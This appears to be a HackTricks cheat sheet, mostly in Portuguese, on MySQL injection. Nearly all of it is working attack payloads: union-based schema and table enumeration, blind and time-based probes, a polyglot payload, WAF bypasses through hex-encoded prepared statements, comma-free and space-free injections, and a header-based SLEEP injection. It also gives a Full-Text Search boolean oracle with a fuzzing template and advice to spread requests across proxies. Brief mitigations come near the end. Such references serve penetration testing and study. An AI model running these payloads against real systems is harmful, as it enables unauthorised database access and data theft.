MySQL injection
Reading time: 10 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao đŹ grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter đŠ @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositĂłrios do github.
 
ComentĂĄrios
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
FunçÔes Interessantes
Confirmar Mysql:
concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)
FunçÔes Ășteis
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
Todas as injection
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
de https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/
Fluxo
Lembre-se de que em versĂ”es "modernas" do MySQL vocĂȘ pode substituir "information_schema.tables" por "mysql.innodb_table_stats" (Isto pode ser Ăștil para contornar WAFs).
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
Apenas 1 valor
group_concat()Limit X,1
Blind one by one
substr(version(),X,1)='r'orsubstring(version(),X,1)=0x70orascii(substr(version(),X,1))=112mid(version(),X,1)='5'
Blind adding
LPAD(version(),1...lenght(version()),'1')='asd'...RPAD(version(),1...lenght(version()),'1')='asd'...SELECT RIGHT(version(),1...lenght(version()))='asd'...SELECT LEFT(version(),1...lenght(version()))='asd'...SELECT INSTR('foobarbar', 'fo...')=1
Detectar nĂșmero de colunas
Usando um ORDER simples
order by 1
order by 2
order by 3
...
order by XXX
UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
MySQL Union Based
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
SSRF
Aprenda aqui diferentes opçÔes para abuse a Mysql injection to obtain a SSRF.
WAF bypass tricks
Executing queries through Prepared Statements
Quando stacked queries sĂŁo permitidas, pode ser possĂvel realizar um bypass em WAFs atribuindo a uma variĂĄvel a representação hex da query que vocĂȘ quer executar (usando SET), e entĂŁo usar os statements PREPARE e EXECUTE do MySQL para, finalmente, executar a query. Algo assim:
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
Para mais informaçÔes, consulte this blog post.
Information_schema alternativas
Lembre-se de que em versĂ”es "modernas" do MySQL vocĂȘ pode substituir information_schema.tables por mysql.innodb_table_stats ou por sys.x$schema_flattened_keys ou por sys.schema_table_statistics
MySQLinjection sem vĂrgulas
Selecionar 2 colunas sem usar nenhuma vĂrgula (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
Recuperando valores sem o nome da coluna
Se em algum momento vocĂȘ souber o nome da tabela, mas nĂŁo souber o nome das colunas dentro da tabela, vocĂȘ pode tentar descobrir quantas colunas existem executando algo como:
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
Supondo que existam 2 colunas (sendo a primeira o ID) e a outra a flag, vocĂȘ pode tentar um bruteforce no conteĂșdo da flag testando caractere por caractere:
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
Mais informaçÔes em https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952
Injection sem ESPAĂOS (/**/ comment trick)
Algumas aplicaçÔes sanitizam ou fazem parse da entrada do usuårio com funçÔes como sscanf("%128s", buf) que param no primeiro caractere de espaço.
Porque o MySQL trata a sequĂȘncia /**/ como um comentĂĄrio e como espaço em branco, ela pode ser usada para remover completamente os espaços normais do payload mantendo a query sintaticamente vĂĄlida.
Exemplo de time-based blind injection contornando o filtro de espaços:
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
Que o banco de dados recebe como:
' OR SLEEP(5)-- -'
Isto Ă© especialmente Ăștil quando:
- O buffer controlĂĄvel Ă© limitado em tamanho (por exemplo 
%128s) e espaços terminariam a entrada prematuramente. - Injeção através de cabeçalhos HTTP ou outros campos onde espaços normais são removidos ou usados como separadores.
 - Combinado com primitivas 
INTO OUTFILEpara alcançar full pre-auth RCE (veja a seção MySQL File RCE). 
HistĂłrico do MySQL
VocĂȘ pode ver outras execuçÔes no MySQL consultando a tabela: sys.x$statement_analysis
Alternativa de versĂŁos
mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)
Isto nĂŁo Ă© um SQL injection clĂĄssico. Quando desenvolvedores passam input do usuĂĄrio para MATCH(col) AGAINST('...' IN BOOLEAN MODE), MySQL executa um conjunto rico de operadores de busca booleanos dentro da string entre aspas. Muitas regras WAF/SAST focam apenas em quebrar aspas e deixam essa superfĂcie passar.
Key points:
- Os operadores sĂŁo avaliados dentro das aspas: 
+(must include),-(must not include),*(trailing wildcard),"...(exact phrase),()(grouping),</>/~(weights). See MySQL docs. - Isso permite testes de presença/ausĂȘncia e de prefixo sem sair do literal de string, e.g. 
AGAINST('+admin*' IN BOOLEAN MODE)para verificar qualquer termo que comece comadmin. - Ătil para construir oracles such as âdoes any row contain a term with prefix X?â e para enumerar hidden strings via prefix expansion.
 
Exemplo de consulta construĂda pelo backend:
SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);
Se a aplicação retorna respostas diferentes dependendo de o conjunto de resultados estar vazio (por exemplo, redirect vs. error message), esse comportamento torna-se um Boolean oracle que pode ser usado para enumerar dados privados, como tĂtulos ocultos/excluĂdos.
Sanitizer bypass patterns (generic):
- Boundary-trim preserving wildcard: se o backend remove 1â2 caracteres finais por palavra via uma regex como 
(\b.{1,2})(\s)|(\b.{1,2}$), envieprefix*ZZ. O cleaner remove oZZmas deixa o*, entĂŁoprefix*sobrevive. - Early-break stripping: se o cĂłdigo remove operadores por palavra mas para de processar quando encontra qualquer token com comprimento â„ min length, envie dois tokens: o primeiro Ă© um token lixo que atinge o limiar de comprimento, o segundo carrega o operator payload. Por exemplo: 
&&&&& +jack*ZZâ after cleaning:+&&&&& +jack*. 
Payload template (URL-encoded):
keywords=%26%26%26%26%26+%2B{FUZZ}*xD
%26Ă©&,%2BĂ©+. O sufixoxD(ou quaisquer duas letras) Ă© aparado pelo cleaner, preservando{FUZZ}*.- Trate um redirect como âmatchâ e uma pĂĄgina de erro como âno matchâ. NĂŁo siga redirects automaticamente para manter o oracle observĂĄvel.
 
Enumeration workflow:
- Comece com 
{FUZZ} = aâŠz,0âŠ9para encontrar correspondĂȘncias da primeira letra via+a*,+b*, ⊠- Para cada prefixo positivo, bifurque: 
a* â aa* / ab* / âŠ. Repita atĂ© recuperar toda a string. - Distribua as requisiçÔes (proxies, mĂșltiplas contas) se a app aplicar flood control.
 
Por que tĂtulos frequentemente leak enquanto conteĂșdos nĂŁo:
- Algumas apps aplicam checagens de visibilidade somente apĂłs um MATCH preliminar em titles/subjects. Se o fluxo de controle depender do resultado âany results?â antes do filtro, ocorrem existence leaks.
 
MitigaçÔes:
- Se vocĂȘ nĂŁo precisar de lĂłgica Booleana, use 
IN NATURAL LANGUAGE MODEou trate a entrada do usuĂĄrio como literal (escape/quote desabilita operadores em outros modos). - Se o Boolean mode for necessĂĄrio, remova ou neutralize todos os Boolean operators (
+ - * " ( ) < > ~) para cada token (sem quebras precoces) após a tokenização. - Aplique filtros de visibility/authorization antes do MATCH, ou unifique as respostas (timing/status constante) quando o conjunto de resultados estiver vazio vs. não vazio.
 - Revise recursos anĂĄlogos em outros DBMS: PostgreSQL 
to_tsquery/websearch_to_tsquery, SQL Server/Oracle/Db2CONTAINStambém analisam operadores dentro de argumentos entre aspas. 
Notas:
- Prepared statements nĂŁo protegem contra abuso semĂąntico de 
REGEXPou search operators. Uma entrada como.*continua sendo uma regex permissiva mesmo dentro de um quotedREGEXP '.*'. Use allow-lists ou guards explĂcitos. 
Other MYSQL injection guides
ReferĂȘncias
- PayloadsAllTheThings â MySQL Injection cheatsheet
 - Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)
 - MySQL Full-Text Search â Boolean mode
 - MySQL Full-Text Search â Overview
 - MySQL REGEXP documentation
 - ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)
 
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao đŹ grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter đŠ @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositĂłrios do github.
 
HackTricks